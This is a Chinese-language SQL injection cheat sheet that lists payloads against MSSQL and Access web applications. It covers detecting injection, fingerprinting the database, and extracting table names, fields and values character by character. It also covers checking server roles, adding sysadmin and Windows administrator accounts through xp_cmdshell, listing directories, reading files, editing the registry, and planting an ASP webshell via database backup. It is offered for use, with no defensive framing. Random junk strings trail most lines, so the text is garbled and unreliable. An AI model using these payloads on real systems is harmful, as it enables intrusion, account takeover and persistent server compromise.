1.判断是否有注入;and 1=1 ;and 1=2 rlawH}1b
2.初步判断是否是mssql ;and user>0 (i1x<
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3.注入参数是字符'and [查询条件] and ''=' ~tV7yY|zr
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' [^bq?w
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5.判断数据库系统 q86}'dFw{
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;and (select count(*) from sysobjects)>0 mssql Ycq )$7p
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;and (select count(*) from msysobjects)>0 access W[qy4\.B
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 TXXG0 G
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 :8@eon}
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ]jn1T^D'
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9.(1)猜字段的ascii值(access)
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 dT% eq7=
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(2)猜字段的ascii值(mssql) X am8h
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 WLwi
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10.测试权限结构(mssql) 1%R${Qhr
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 9&Un|cr
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 3`{;E{
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- [OUV!o
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- l;A '^
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- S{8-XiL,
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- R@5eHP^
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;and 1=(select IS_MEMBER('db_owner'));-- @ NL<v-t
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11.添加mssql和系统的帐户 ~MC5rOA
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;exec master.dbo.sp_addlogin username;-- ohyq/u+y~A
;exec master.dbo.sp_password null,username,password;-- ^W%F?#ELN2
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 7t#Q8u?
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;exec master.dbo.xp_cmdshell 'net user username password N}NKQ]=
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- mbX'*up
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- $M0l
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- .=<s@Sg,t
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12.(1)遍历目录 3X;>cv#B
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;create table dirs(paths varchar(100), id int)
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;insert dirs exec master.dbo.xp_dirtree 'c:\' C@]D*k
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;and (select top 1 paths from dirs)>0 {g`!2"
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 1i.3P$F
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(2)遍历目录 PZ'|)
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- pp1Kor
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 eFf9T@
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 W+=j@JY}q9
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 D$H&^,?N
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4G;KT~Cgb
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13.mssql中的存储过程 t.RDS2N|
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xp_regenumvalues 注册表根键, 子键 9
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 b%"/8rK
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xp_regread 根键,子键,键值名 &YD+s%OL
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;exec xp_regread hR2 R
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 b5jD /X4
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xp_regwrite 根键,子键, 值名, 值类型, 值 e?07o!7[;
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 "7Kw]8mRR
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 D,FgX/&i/
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xp_regdeletevalue 根键,子键,值名 SJLs3iz_)
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 *>W6,F7
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 q%f90
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14.mssql的backup创建webshell @ra JB'
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use model ~=HPqe8
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create table cmd(str image); NL-PQ%lUA
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insert into cmd(str) values (''); /J!hKK^k
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backup database model to disk='c:\l.asp'; )NZ&m$I|-
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15.mssql内置函数 :c )R6=v
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;and (select @@version)>0 获得Windows的版本号 U%VFr#
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa h.- o$+Sa
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;and (select user_name())>0 爆当前系统的连接用户 4{6,Sx
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;and (select db_name())>0 得到当前连接的数据库 juM~X5b
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16.简洁的webshell iQCs8hIR
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use model 8zJye6f;l
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create table cmd(str image); 76c:*bZ
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insert into cmd(str) values (''); 0.(7R,-
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backup database model to disk='g:\wwwtest\l.asp';